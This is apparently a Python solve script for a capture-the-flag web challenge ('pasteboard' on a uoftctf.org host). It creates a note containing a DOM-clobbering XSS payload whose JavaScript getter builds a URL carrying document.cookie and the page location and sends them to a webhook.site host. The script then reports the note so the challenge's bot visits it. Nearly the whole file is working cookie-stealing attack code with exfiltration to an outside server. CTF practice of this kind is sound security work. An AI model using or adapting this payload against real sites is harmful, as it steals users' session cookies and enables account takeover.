import requests

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# Use Object.defineProperty to make path.value a getter!
payload = '''<form id="errorReporter"><input name="path" id="pathInput"></form>
<script>
Object.defineProperty(document.getElementById('pathInput'), 'value', {
  get: function() {
    return '//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/steal.js?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href);
  }
});
</script>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("[*] Using JavaScript getter to make path.value dynamic!")
print()

session = requests.Session()
resp = session.post(
    BASE_URL + "/note/new",
    data={"title": "Getter", "body": payload},
    allow_redirects=False
)

if resp.status_code == 302:
    location = resp.headers.get('Location')
    note_url = BASE_URL + location
    
    print(f"[+] Created: {note_url}")
    print()
    
    report = session.post(BASE_URL + "/report", data={"url": location})
    if report.status_code == 202:
        print(f"[+] Reported!")
        print()
        print("[*] Check webhook for /steal.js?cookie=...")
        print("    https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")
